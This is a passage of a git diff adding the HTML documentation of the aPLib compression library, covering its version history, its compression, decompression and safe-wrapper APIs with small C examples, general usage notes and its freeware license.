      +

      Previous topic

      +

      Decompression

      +

      Next topic

      +

      Version History

      +

      This Page

      + + + +
      +
      +
      +
      + + + + \ No newline at end of file diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/changes.html b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/changes.html new file mode 100644 index 0000000..1a6bc78 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/changes.html @@ -0,0 +1,357 @@ + + + + + + + + Version History — aPLib 1.1.1 documentation + + + + + + + + + + + + + + +
      +
      +
      +
      + +
      +

      Version History¶

      +
      +
      v1.1.1 *
      +

      Add VERSIONINFO resource to dll files, and fix subsystem in 32-bit dll +for Win95 compatibility, thanks to Richard Russell.

      +

      Add Apple II example, thanks to Peter Ferrie.

      +

      Add PowerBASIC example, thanks to Wayne Diamond.

      +

      Use Sphinx to generate docs.

      +
      +
      v1.1.0 *
      +

      Added Linux ELF shared library support, thanks to Vov Pov.

      +

      Added a Python example, thx to Marco Fabbricatore.

      +

      Fixed a bug in 64-bit aPsafe_check().

      +

      Cleaned up compression code.

      +

      Changed to semver version numbering.

      +
      +
      v1.01 *
      +
      Added undecorated names to 32-bit dll again, thanks to James C. Fuller.
      +
      v1.00 *
      +

      Changed the license so aPLib can now be used free of charge for commercial +use as well.

      +

      Added support for 64-bit compression and decompression. Since I do not +have a running 64-bit system myself, any feedback on how it works would +be great.

      +

      Removed support for a number of old compilers/assemblers. If you still +need these, please use the previous release or contact me (if you need +object files for Delphi, simply unpack the OMF library).

      +

      Moved most of the examples to the contrib folder since I no longer have +the old development tools installed to check they work.

      +

      All the assembly source files included are now FASM syntax.

      +

      Simplified the build process using objconv by Agner Fog.

      +

      Jumped the version number to v1.00 to signify the code is stable.

      +
      +
      v0.44 *
      +

      Made a few updates to the documentation.

      +

      Fixed a rare crash, thx to Rafael Ahucha!

      +
      +
      v0.43 *
      +

      Added Visual Basic 6 wrapper, thx to Jon Johnson!

      +

      Added PowerBuilder 9.0 objects, thx to James Sheekey!

      +

      Fixed a rare crash, thx to cyberbob!

      +
      +
      v0.42 *
      +

      Added C and assembler implementations of a new safe depacker +aP_depack_safe() and aP_depack_asm_safe().

      +

      Updated the aPsafe_ wrapper functions.

      +

      Renamed lib/vc to lib/mscoff and lib/watcom to lib/omf to +better reflect that they are not limited to those specific compilers.

      +

      Updated examples and documentation.

      +
      +
      v0.41
      +

      Added a Borland C++ Builder example, thx to +mouser!

      +

      Fixed vc library compatibility with +Pelles C.

      +
      +
      v0.40
      +

      The documentation was rewritten in html, and moved to a separate folder.

      +

      All examples were updated. The dll_asm, dos32 and tlink32 +examples were removed, and a small .NET example was added.

      +
      +
      v0.39
      +
      All aPLib functions now return -1 on error instead of 0. Added a +macro APLIB_ERROR for this value to all include files.
      +
      v0.38
      +
      The aPLib compression functions should now be fully thread-safe. Updated +the C decompression code for thread-safety.
      +
      v0.37
      +
      Changed the parameters for the callback function. It is now called with +the input size, input bytes processed, output bytes produced, and a +user-supplied callback parameter. Thx to f0dder!
      +
      v0.36 *
      +

      Fixed a bug which could cause a match to be found in the area before the +input buffer under certain conditions, thx to Veit!

      +

      Changed the extension of the C example files from cpp to c.

      +

      The ELF32 version was tested under FreeBSD, thx to Oleg!

      +
      +
      v0.35
      +

      Worked with a number of ‘issues’ in the build process.

      +

      Fixed the C depacker so it no longer modifies the input buffer, thx to +Trevor Mensah!

      +
      +
      v0.34 *
      +

      Updated the 16bit, Ada, Delphi, C/C++, TMT Pascal and Virtual Pascal +examples, thx to METALBRAIN, Gautier, Oleg and Veit!

      +

      Added a MASM32 example program, thx to Steve Hutchesson!

      +

      Fixed another bug which could cause aP_pack() to read one byte +past the input buffer, thx to Reiner Proels!

      +

      NOTE!! the dll version now expects the callback function to use the +stdcall calling convention.

      +

      The libraries now include the function aP_max_packed_size(), +which given the input size returns the maximum possible size +aP_pack() may produce (i.e. the worst case output size of +totally incompressible data). At the moment the function simply returns +(inputsize + (inputsize / 8) + 64).

      +
      +
      v0.33
      +
      Added ELF32 version of aPLib, which has been tested with Linux, BeOS and +QNX. Modified the C example to work under these operating systems too.
      +
      v0.32
      +
      Discovered some mixups between different versions of the examples .. +started rewriting some of them. Added a header to the files created by +most of the examples.
      +
      v0.31
      +
      Improved compression ratio a little.
      +
      v0.30
      +

      Fixed a bug in one of the 16bit depackers, thx to Peter Hegel!

      +

      Updated the C/C++ example.

      +
      +
      v0.29
      +

      Updated the Ada example, thx to Gautier!

      +

      I have removed the ‘b’ from the version number.

      +
      +
      v0.28b
      +

      Updated the 16bit depacker examples, thx to METALBRAIN!

      +

      Renamed the SRC/C depacker files.

      +
      +
      v0.27b
      +
      Fixed a bug which could cause aP_pack() to read one byte past +the input buffer.
      +
      v0.26b *
      +

      Added Visual C++ and Borland C examples.

      +

      Rewrote the example program, so there is only a single source file, which +works with BCC32, DJGPP, VC++ and Watcom.

      +

      Added an import library for Visual C++ in lib/dll, and an example of +how to use it (examples/c/make_dll.bat).

      +

      The libraries now include the function aP_workmem_size(), which +given the input size returns the amount of memory required for the work +buffer (you still have to allocate it yourself). This should make +upgrading easier in case I change the memory requirement in a later +version. At the moment the function simply returns 640k.

      +
      +
      v0.25b
      +

      Added a TMT Pascal example, thx to Oleg Prokhorov!

      +

      Moved the Ada and VPascal examples to the example dir.

      +

      Updated the documentation.

      +
      +
      v0.24b
      +

      Updated the 16bit depacker examples, thx to METALBRAIN!

      +

      Made all assembler depackers smaller, thx to TAD and METALBRAIN!

      +
      +
      v0.23b
      +

      Recompiled with the latest VC++ and DJGPP versions.

      +

      Did a few speed optimisations – most versions should be a little faster.

      +
      +
      v0.22b *
      +

      Improved the compression speed a little more.

      +

      Cleaned up the code, which made the library somewhat smaller.

      +

      Added a C depacker.

      +

      Silent update: Updated the 16bit depackers - thx to METALBRAIN. There is +still one problem with the 16bit example depackers, but it will be fixed +for the next release.

      +
      +
      v0.21b
      +

      Improved compression ratio and speed.

      +

      Added Ada support by Gautier - thx!

      +

      Reduced the memory requirement from 1mb to 640k – which should be enough +for anybody ;).

      +
      +
      v0.20b *
      +

      Added Delphi support and example by Alexey Solodovnikov - thx!

      +

      Rewrote the aPPack example, removing some errors, and added 16bit +depackers - thx to METALBRAIN!

      +

      Removed a lot of unneeded information from the object files.

      +

      Rearranged all the folders – hope it’s not too confusing ;).

      +

      Removed all the example binaries from this file, and made them available +in a separate file instead.

      +

      Added the real aPACK / aPLib homepage URL, since home.ml.org was down for +a period.

      +
      +
      v0.19b *
      +

      Fixed a little mem bug (hopefully), thx to ANAKiN!

      +

      Ratio improved a little on large files.

      +

      Finally got around to updating my DJGPP installation :)

      +

      NOTE!! I have revised the license conditions – please read APLIB.DOC.

      +
      +
      v0.18b *
      +

      Added the new VPascal interfacing code by Veit Kannegieser.

      +

      Added a library compiled for VC.

      +

      Worked a little on the depackers.

      +
      +
      v0.17b *
      +

      NOTE!! the callback function now has to return a value. This is to make it +possible for the callback function to abort the packing without exiting +the program. If the callback returns 1, aP_pack() will +continue – if it returns 0, aP_pack() will stop and return +0.

      +

      The aPACK / aPLib homepage is now up on: apack.home.ml.org

      +

      I have not gotten the new VPascal interfacing code from Veit yet, so I +will add it again in the next version :)

      +

      Since I have added so much new stuff, I am releasing this version to get +some feedback (hint!), to find out where to go from here. If you have +Visual C++, Borland C++, Borland C++ Builder, Visual Basic, Delphi or +other 32-bit compilers/linkers, I am very interested in any problems you +might have using aPLib (especially the DLL version).

      +
      +
      v0.16b
      +

      NOTE!! aP_pack() NO LONGER allocates the memory it needs itself. +This was changed because otherwise you would need to supply malloc and +free functions to the packer. Now you just call aP_pack() with a +pointer to 1mb of mem. This is also faster if you compress multiple sets +of data, because mem is not allocated and deallocated every time.

      +

      Added new VPascal interfacing code by Veit Kannegieser - thx!

      +

      Added DOS32 and TLINK32 (Win32 PE) example code and executables.

      +

      Also added a DLL version of aPLib, and some example code for it. By the +way – the DLL version works fine as a wdl file for WDOSX!

      +

      Speeded up the fast depackers a tiny bit.

      +
      +
      v0.15b
      +

      Quite a few people have pointed out to me that AR was not the cleverest +library format to use, so I changed to OMF format, which works with (at +least) Watcom, DOS32 and TASM32/TLINK32.

      +

      Added assembler depackers for TASM and WASM, and added the fast assembler +depacker for NASM.

      +

      The Watcom and DJGPP libraries now also contain compiled versions of +aP_depack_asm() and aP_depack_asm_fast(), and the +APDEPACK.H files with the inline assembler versions have been removed.

      +
      +
      v0.14b *
      +

      Made some minor enhancements to the packer - ratio is a little better.

      +

      Added depacking code for NASM, converted by Archee/CoNTRACT - thx!

      +
      +
      v0.13b
      +

      Added depacking code for Pascal (Virtual Pascal), converted by Veit +Kannegieser - thx!

      +

      Switched to AR format for the Watcom library.

      +
      +
      v0.12b *
      +
      Changed the libraries to make them C-compatible.
      +
      v0.11b
      +
      aP_depack_asm_fast() is a little faster.
      +
      v0.10b *
      +
      Compression is a little faster :)
      +
      v0.09b
      +
      Compression is a little better :)
      +
      v0.08b *
      +
      First release version of aPLib :)
      +
      v0.07b
      +

      Fixed a bug that gave errors when compressing multiple sets of data (thx +x-otic!).

      +

      Cleaned up the code a little.

      +
      +
      v0.06b
      +

      Changed the packer, so it uses a fixed amount of mem (about 1 meg).

      +

      A few bugs fixed.

      +
      +
      v0.05b
      +
      First version of the aPLib library included.
      +
      v0.04b
      +
      Added the DJGPP fast asm unpacker.
      +
      v0.03b
      +
      Optimised the depacker a little.
      +
      v0.02b
      +
      Second try ;-P
      +
      v0.01b
      +
      First try!
      +
      +

      Project started March 5th 1998.

      +
      + + +
      +
      +
      +
      +
      +

      Previous topic

      +

      Acknowledgements

      +

      This Page

      + + + +
      +
      +
      +
      + + + + \ No newline at end of file diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/compression.html b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/compression.html new file mode 100644 index 0000000..0f8ffd2 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/compression.html @@ -0,0 +1,257 @@ + + + + + + + + Compression — aPLib 1.1.1 documentation + + + + + + + + + + + + + + + +
      +
      +
      +
      + +
      +

      Compression¶

      +

      The following is a description of the aPLib compression functionality.

      +
      +

      Compression Functions¶

      +
      +
      +size_t aP_pack(const void *source, void *destination, size_t length, void *workmem, int (*callback)(size_t, size_t, size_t, void *), void *cbparam)¶
      +

      Compress length bytes of data from source to destination, using +workmem as temporary storage.

      +

      The destination buffer should be large enough to hold +aP_max_packed_size(length) bytes.

      +

      The workmem buffer should be aP_workmem_size(length) bytes large.

      +

      The callback function, callback, must take four parameters. The first is +length, the second is the number of input bytes that has been +compressed, the third is how many output bytes they have been compressed +to, and the fourth is cbparam. If you do not have a callback, use +NULL instead. If the callback returns a non-zero value then +aP_pack() will continue compressing – if it returns zero, +aP_pack() will stop and return APLIB_ERROR.

      +
      +++ + + + + + +
      Parameters:
        +
      • source – pointer to data to be compressed
      • +
      • destination – pointer to where compressed data should be stored
      • +
      • length – length of uncompressed data in bytes
      • +
      • workmem – pointer to work memory used during compression
      • +
      • callback – pointer to callback function (or NULL)
      • +
      • cbparam – callback argument
      • +
      +
      Returns:

      length of compressed data, or APLIB_ERROR on error

      +
      + + +
      +
      +size_t aP_workmem_size(size_t input_size)¶
      +

      Compute required size of workmem buffer used by aP_pack() for +compressing input_size bytes of data.

      +

      The current code always returns 640k (640*1024).

      + +++ + + + + + +
      Parameters:
        +
      • input_size – length of uncompressed data in bytes
      • +
      +
      Returns:

      required length of work buffer

      +
      +
      + +
      +
      +size_t aP_max_packed_size(size_t input_size)¶
      +

      Compute maximum possible compressed size when compressing input_size +bytes of incompressible data.

      +

      The current code returns (input_size + (input_size / 8) + 64).

      + +++ + + + + + +
      Parameters:
        +
      • input_size – length of uncompressed data in bytes
      • +
      +
      Returns:

      maximum possible size of compressed data

      +
      +
      + + +
      +

      Safe Wrapper Functions¶

      +
      +
      +size_t aPsafe_pack(const void *source, void *destination, size_t length, void *workmem, int (*callback)(size_t, size_t, size_t, void *), void *cbparam)¶
      +

      Wrapper function for aP_pack(), which adds a header to the +compressed data containing the length of the original data, and CRC32 +checksums of the original and compressed data.

      + +++ + + + + + +
      Parameters:
        +
      • source – pointer to data to be compressed
      • +
      • destination – pointer to where compressed data should be stored
      • +
      • length – length of uncompressed data in bytes
      • +
      • workmem – pointer to work memory used during compression
      • +
      • callback – pointer to callback function (or NULL)
      • +
      • cbparam – callback argument
      • +
      +
      Returns:

      length of compressed data, or APLIB_ERROR on error

      +
      +
      +

      See also

      +

      aP_pack()

      +
      +
      + +
      +
      +

      Example¶

      +
      /* allocate workmem and destination memory */
      +char *workmem    = malloc(aP_workmem_size(length));
      +char *compressed = malloc(aP_max_packed_size(length));
      +
      +/* compress data[] to compressed[] */
      +size_t outlength = aPsafe_pack(data, compressed, length, workmem, NULL, NULL);
      +
      +/* if APLIB_ERROR is returned, and error occured */
      +if (outlength == APLIB_ERROR) {
      +        printf("An error occured!\n");
      +}
      +else {
      +        printf("Compressed %u bytes to %u bytes\n", length, outlength);
      +}
      +
      +
      +
      + + + + + + +
      +
      +

      Table Of Contents

      + + +

      Previous topic

      +

      General Information

      +

      Next topic

      +

      Decompression

      +

      This Page

      + + + +
      +
      +
      + + + + + \ No newline at end of file diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/decompression.html b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/decompression.html new file mode 100644 index 0000000..f448b2c --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/decompression.html @@ -0,0 +1,381 @@ + + + + + + + + Decompression — aPLib 1.1.1 documentation + + + + + + + + + + + + + + + +
      +
      +
      +
      + +
      +

      Decompression¶

      +

      The following is a description of the aPLib decompression functionality.

      +
      +

      Decompression Functions¶

      +
      +
      +size_t aP_depack(const void *source, void *destination)¶
      +

      Decompress compressed data from source to destination.

      +

      The destination buffer must be large enough to hold the decompressed +data.

      + +++ + + + + + +
      Parameters:
        +
      • source – pointer to compressed data
      • +
      • destination – pointer to where decompressed data should be stored
      • +
      +
      Returns:

      length of decompressed data, or APLIB_ERROR on error

      +
      +
      +

      Note

      +

      This function is not included in the libraries, but is available in +src/c/depack.c. aP_depack_asm_fast() can be used +instead.

      +
      +
      + +
      +
      +size_t aP_depack_safe(const void *source, size_t srclen, void *destination, size_t dstlen)¶
      +

      Decompress compressed data from source to destination.

      +

      This function reads at most srclen bytes from source, and writes +at most dstlen bytes to destination. If there is not enough +source or destination space, or a decoding error occurs, the function +returns APLIB_ERROR.

      + +++ + + + + + +
      Parameters:
        +
      • source – pointer to compressed data
      • +
      • srclen – size of source buffer in bytes
      • +
      • destination – pointer to where decompressed data should be stored
      • +
      • dstlen – size of destination buffer in bytes
      • +
      +
      Returns:

      length of decompressed data, or APLIB_ERROR on error

      +
      +
      +

      Note

      +

      This function is not included in the libraries, but is available in +src/c/depacks.c. aP_depack_asm_safe() can be used +instead.

      +
      +
      + +
      +
      +size_t aP_depack_asm(const void *source, void *destination)¶
      +

      Decompress compressed data from source to destination.

      +

      The destination buffer must be large enough to hold the decompressed +data.

      +

      Optimised for size.

      + +++ + + + + + +
      Parameters:
        +
      • source – pointer to compressed data
      • +
      • destination – pointer to where decompressed data should be stored
      • +
      +
      Returns:

      length of decompressed data, or APLIB_ERROR on error

      +
      +
      + +
      +
      +size_t aP_depack_asm_fast(const void *source, void *destination)¶
      +

      Decompress compressed data from source to destination.

      +

      The destination buffer must be large enough to hold the decompressed +data.

      +

      Optimised for speed.

      + +++ + + + + + +
      Parameters:
        +
      • source – pointer to compressed data
      • +
      • destination – pointer to where decompressed data should be stored
      • +
      +
      Returns:

      length of decompressed data, or APLIB_ERROR on error

      +
      +
      + +
      +
      +size_t aP_depack_asm_safe(const void *source, size_t srclen, void *destination, size_t dstlen)¶
      +

      Decompress compressed data from source to destination.

      +

      This function reads at most srclen bytes from source, and writes +at most dstlen bytes to destination. If there is not enough +source or destination space, or a decoding error occurs, the function +returns APLIB_ERROR.

      + +++ + + + + + +
      Parameters:
        +
      • source – pointer to compressed data
      • +
      • srclen – size of source buffer in bytes
      • +
      • destination – pointer to where decompressed data should be stored
      • +
      • dstlen – size of destination buffer in bytes
      • +
      +
      Returns:

      length of decompressed data, or APLIB_ERROR on error

      +
      +
      +

      See also

      +

      aPsafe_depack()

      +
      +
      + +
      +
      +unsigned int aP_crc32(const void *source, size_t length)¶
      +

      Compute CRC32 value of length bytes of data from source.

      + +++ + + + + + +
      Parameters:
        +
      • source – pointer to data to process
      • +
      • length – size in bytes of data
      • +
      +
      Returns:

      CRC32 value

      +
      +
      + +
      +
      +

      Safe Wrapper Functions¶

      +
      +
      +size_t aPsafe_check(const void *source)¶
      +

      Compute CRC32 of compressed data in source and check it against value +stored in header. Return length of decompressed data stored in header.

      + +++ + + + + + +
      Parameters:
        +
      • source – compressed data to process
      • +
      +
      Returns:

      length of decompressed data, or APLIB_ERROR on error

      +
      +
      + +
      +
      +size_t aPsafe_get_orig_size(const void *source)¶
      +

      Return length of decompressed data stored in header of compressed data in +source.

      + +++ + + + + + +
      Parameters:
        +
      • source – compressed data to process
      • +
      +
      Returns:

      length of decompressed data, or APLIB_ERROR on error

      +
      +
      + +
      +
      +size_t aPsafe_depack(const void *source, size_t srclen, void *destination, size_t dstlen)¶
      +

      Wrapper function for aP_depack_asm_safe(), which checks the CRC32 +of the compressed data, decompresses, and checks the CRC32 of the +decompressed data.

      + +++ + + + + + +
      Parameters:
        +
      • source – pointer to compressed data
      • +
      • srclen – size of source buffer in bytes
      • +
      • destination – pointer to where decompressed data should be stored
      • +
      • dstlen – size of destination buffer in bytes
      • +
      +
      Returns:

      length of decompressed data, or APLIB_ERROR on error

      +
      +
      +

      See also

      +

      aP_depack_asm_safe()

      +
      +
      + +
      +
      +

      Example¶

      +
      /* get original size */
      +size_t orig_size = aPsafe_get_orig_size(compressed);
      +
      +/* allocate memory for decompressed data */
      +char *data = malloc(orig_size);
      +
      +/* decompress compressed[] to data[] */
      +size_t outlength = aPsafe_depack(compressed, compressed_size, data, orig_size);
      +
      +/* check decompressed length */
      +if (outlength != orig_size) {
      +        printf("An error occured!\n");
      +}
      +else {
      +        printf("Decompressed %u bytes\n", outlength);
      +}
      +
      +
      +
      +
      + + +
      +
      +
      +
      +
      +

      Table Of Contents

      + + +

      Previous topic

      +

      Compression

      +

      Next topic

      +

      Acknowledgements

      +

      This Page

      + + + +
      +
      +
      +
      + + + + \ No newline at end of file diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/general.html b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/general.html new file mode 100644 index 0000000..a7167f2 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/general.html @@ -0,0 +1,205 @@ + + + + + + + + General Information — aPLib 1.1.1 documentation + + + + + + + + + + + + + + + +
      +
      +
      +
      + +
      +

      General Information¶

      +
      +

      Introduction¶

      +

      aPLib is a compression library based on the algorithm used in aPACK (my 16-bit +executable packer). aPLib is an easy-to-use alternative to many of the +heavy-weight compression libraries available.

      +

      The compression ratios achieved by aPLib combined with the speed and tiny +footprint of the decompressors (as low as 169 bytes!) makes it the ideal +choice for many products.

      +

      Since the first public release in 1998, aPLib has been one of the top pure +LZ-based compression libraries available. It is used in a wide range of +products including executable compression and protection software, archivers, +games, embedded systems, and handheld devices.

      +
      +
      +

      Compatibility¶

      +

      The aPLib package includes pre-compiled libraries in a number of formats +(COFF, ELF, OMF).

      +

      No standard library functions are used, so the libraries can work with most +x86/x64 compilers, as long as the name decoration and calling conventions +match.

      +

      The ELF folders contain a version of aPLib which uses PIC to allow it to be +linked into shared libraries on linux.

      +
      +
      +

      Thread-safety¶

      +

      All compression and decompression functions are thread-safe.

      +
      +
      +

      Using aPLib¶

      +

      For C/C++ you simply include aplib.h and link with the appropriate library +for your compiler. If you only need to decompress data, or if you modify the +decompression code, you can compile and link with one of the decompression +implementations in the src folder.

      +

      For other languages you can either check if there is a useable example, or use +the DLL version. Most linkers allow calling C functions in an external +library, so usually there is a way to use one of the libraries.

      +

      aPLib performs memory-to-memory compression and decompression, so getting data +into an input buffer and allocating an output buffer is your responsibility.

      +

      All functions return APLIB_ERROR (which is -1) if an error occurs.

      +

      Attempting to compress incompressible data can lead to expansion. You can get +the maximum possible coded size by passing the size of the input to the +function aP_max_packed_size().

      +

      When calling aP_pack() you have to supply a work buffer. You can get +the required size of this buffer by passing the size of the input to the +function aP_workmem_size() (in the current version this function +always returns 640k).

      +

      If you do not have a callback for aP_pack(), you can pass NULL +(i.e. 0) instead. The callback functionality allows your program to keep +track of the compression progress, and if required to stop the compression.

      +

      aP_depack(), aP_depack_asm(), and +aP_depack_asm_fast() assume that they are given valid compressed +data – if not they will most likely crash. This is to ensure that the basic +decompression code is as small, fast and easy to understand as possible. You +can use aP_depack_safe() or aP_depack_asm_safe() if you +need to catch decompression errors. Also the safe wrapper functions provide a +nice interface that helps prevent potential crashes.

      +
      +
      +

      Safe Wrapper Functions¶

      +

      Starting with aPLib v0.34, there are additional functions included which +provide a better way of handling the compressed data in the example, and also +serve as an example of how to add functionality through function wrappers.

      +

      The aPsafe_pack() and aPsafe_depack() functions are +wrappers for their regular aP_ counterparts, which add a header to the +compressed data. This header includes a tag, information about the compressed +and decompressed size of the data, and CRC32 values for the compressed and +decompressed data.

      +

      The example folder contains a simple command line packer that uses aPLib +to compress and decompress data. The aPsafe_ functions are used in this +example, because they provide extra functionality like retrieving the original +size of compressed data.

      +
      +
      +

      Contact Information¶

      +

      If you have any questions, suggestions or bug-reports about aPLib, please feel +free to contact me by e-mail at:

      +
      +
      +

      You can get the latest version of aPLib and my other software at:

      +
      +
      +
      +
      + + +
      +
      +
      +
      +
      +

      Table Of Contents

      + + +

      Previous topic

      +

      License

      +

      Next topic

      +

      Compression

      +

      This Page

      + + + +
      +
      +
      +
      + + + + \ No newline at end of file diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/genindex.html b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/genindex.html new file mode 100644 index 0000000..6f62868 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/genindex.html @@ -0,0 +1,153 @@ + + + + + + + + + Index — aPLib 1.1.1 documentation + + + + + + + + + + + + + +
      + +
      +
      + + + + + +
      +
      +
      +
      + + + + \ No newline at end of file diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/index.html b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/index.html new file mode 100644 index 0000000..dfc263e --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/index.html @@ -0,0 +1,135 @@ + + + + + + + + Welcome to the aPLib documentation! — aPLib 1.1.1 documentation + + + + + + + + + + + + + + +
      +
      +
      +
      + +
      +

      Welcome to the aPLib documentation!¶

      +

      aPLib is a compression library based on the algorithm used in aPACK (my 16-bit +executable packer). aPLib is an easy-to-use alternative to many of the +heavy-weight compression libraries available.

      +

      The compression ratios achieved by aPLib combined with the speed and tiny +footprint of the decompressors (as low as 169 bytes!) makes it the ideal +choice for many products.

      +

      Contents:

      + +
      + + +
      +
      +
      +
      +
      +

      Next topic

      +

      License

      +

      This Page

      + + + +
      +
      +
      +
      + + + + \ No newline at end of file diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/license.html b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/license.html new file mode 100644 index 0000000..fa1da67 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/license.html @@ -0,0 +1,143 @@ + + + + + + + + License — aPLib 1.1.1 documentation + + + + + + + + + + + + + + + +
      +
      +
      +
      + +
      +

      License¶

      +

      aPLib is freeware. If you use aPLib in a product, an acknowledgement would be +appreciated, e.g. by adding something like the following to the documentation:

      +
      +
      +
      This product uses the aPLib compression library,
      +
      Copyright © 1998-2014 Joergen Ibsen, All Rights Reserved.
      +
      For more information, please visit: http://www.ibsensoftware.com/
      +
      +
      +

      You may not redistribute aPLib without all of the files.

      +

      You may not edit or reverse engineer any of the files (except the header +files and the decompression code, which you may edit as long as you do not +remove the copyright notice).

      +

      You may not sell aPLib, or any part of it, for money (except for charging for +the media).

      +

      #ifndef COMMON_SENSE

      +
      +

      This software is provided “as is”. In no event shall I, the author, be +liable for any kind of loss or damage arising out of the use, abuse or +the inability to use this software. USE IT ENTIRELY AT YOUR OWN RISK!

      +

      This software comes without any kind of warranty, either expressed or +implied, including, but not limited to the implied warranties of +merchantability or fitness for any particular purpose.

      +

      If you do not agree with these terms or if your jurisdiction does not +allow the exclusion of warranty and liability as stated above you are NOT +allowed to use this software at all.

      +
      +

      #else

      +
      +

      Bla bla bla .. the usual stuff - you know it anyway:

      +

      If anything goes even remotely wrong - blame _yourself_, NOT me!

      +
      +

      #endif

      +
      + + +
      +
      +
      +
      +
      +

      Previous topic

      +

      Welcome to the aPLib documentation!

      +

      Next topic

      +

      General Information

      +

      This Page

      + + + +
      +
      +
      +
      + + + + \ No newline at end of file diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/objects.inv b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/objects.inv new file mode 100644 index 0000000..d9c6cbb Binary files /dev/null and b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/objects.inv differ diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/search.html b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/search.html new file mode 100644 index 0000000..71c8451 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/search.html @@ -0,0 +1,99 @@ + + + + + + + + Search — aPLib 1.1.1 documentation + + + + + + + + + + + + + + + + + + + +
      +
      +
      +
      + +

      Search

      +
      + +

      + Please activate JavaScript to enable the search + functionality. +

      +
      +

      + From here you can search these documents. Enter your search + words into the box below and click "search". Note that the search + function will automatically search for all of the words. Pages + containing fewer words won't appear in the result list. +

      +
      + + + +
      + +
      + +
      + +
      +
      +
      +
      +
      +
      +
      +
      +
      + + + + \ No newline at end of file diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/searchindex.js b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/searchindex.js new file mode 100644 index 0000000..ad707ed --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/searchindex.js @@ -0,0 +1 @@ +Search.setIndex({terms:{fuller:5,updat:5,develop:5,decompress:5,"new":5,down:5,mscoff:5,malloc:[1,2,5],pell:5,implement:[3,5],compressed_s:2,problem:5,exampl:5,ensur:3,commerci:[0,5],specif:5,html:5,report:[3,0],techniqu:0,semver:5,mai:[4,5],cyberbob:5,rewrit:5,thank:[0,5],other:[3,0,5],hope:5,omf:[3,5],rare:5,special:0,f0dder:5,kannegies:[0,5],progress:3,low:[3,6],"\u215b":4,note:5,richard:5,kind:4,albert:0,test:5,callback:[3,1,5],get:[3,2,5],either:[3,4],"06b":5,call:[3,0,5],fasm:5,ibsen:4,versioninfo:5,right:4,pack:5,linker:[3,5],against:2,incompress:[3,1,5],packer:[3,5,6],time:5,extern:3,lab:0,"5th":5,through:3,read:[2,5],ap_pack:[3,1,5],liabil:4,made:[0,5],possibl:[3,1,5],silent:5,size:[3,1,2,5],copyright:4,non:[0,1],"14b":5,dealloc:5,sen:0,python:5,compress:[0,5],zero:1,anybodi:5,signifi:5,nasm:5,execut:[3,5,6],discov:5,sourc:[1,2,5],descript:[1,2],also:[3,5],aplib:[1,2,5],languag:3,tad:[0,5],"return":[3,1,2,5],pic:3,suslikov:0,game:3,homepag:5,singl:5,pascal:[0,5],src:[3,2,5],x86:3,protect:3,linux:[3,5],ada:[0,5],compil:[3,5],mensah:5,lot:5,peopl:[0,5],solodovnikov:[0,5],delphi:[0,5],"_yourself_":4,ratio:[3,5,6],abort:5,optimis:[0,2,5],simpl:3,loss:4,input_s:1,diamond:5,work:[3,0,1,5],"22b":5,folder:[3,5],"long":[3,4],minor:5,"1mb":5,come:4,expans:3,discuss:0,especi:5,asm:5,wide:3,allow:[3,4],unpack:5,charg:[4,5],steve:[0,5],cbparam:1,extens:5,peter:5,perform:3,author:4,debugg:0,name:[3,5],yet:5,separ:5,ap_depack_asm:[3,2,5],virtual:5,thi:[3,4,2,5],exclus:4,ap_:3,best:0,notic:4,elf32:5,pass:3,check:[3,2,5],epsilon:0,someth:4,win32:5,edit:4,easier:5,apsafe_get_orig_s:2,itself:5,did:5,store:[1,2],appl:5,line:3,"13b":5,anyth:4,includ:[3,4,2,5],liutaotao:0,freewar:4,current:[3,1],sell:4,depack:[0,2,5],valu:[3,1,2,5],apdepack:5,caus:5,joergen:4,expect:5,dir:5,should:[1,2,5],"25b":5,number:[3,1,5],well:5,mouser:5,"26b":5,around:[0,5],fabbricator:5,dure:1,comput:[1,2],extra:3,outlength:[1,2],all:[3,0,4,5],question:3,again:5,pucrunch:0,share:[3,5],everi:5,unsign:2,monei:4,simpli:[3,5],own:4,dos32:5,great:[0,5],"12b":5,convert:5,net:5,remov:[4,5],"24b":5,reduc:5,ideal:[3,6],sinc:[3,5],visual:5,set:5,wrong:4,wayn:5,some:5,srclen:2,user:5,fine:5,"02b":5,rang:3,proel:5,instal:5,borland:5,"const":[1,2],between:5,file:[4,5],"public":3,got:5,start:[3,5],previou:5,apsafe_:[3,5],without:[4,5],"27b":5,apsafe_depack:[3,2],myself:5,like:[3,4],wdosx:5,wrapper:5,would:[4,5],http:[3,4],"switch":5,org:5,too:5,when:[3,1,5],otic:[0,5],beta:0,ap_depack_saf:[3,2,5],mate:0,info:0,area:5,instead:[3,1,2,5],tester:0,elf:[3,5],algorithm:[3,6],tini:[3,5,6],masm32:[0,5],who: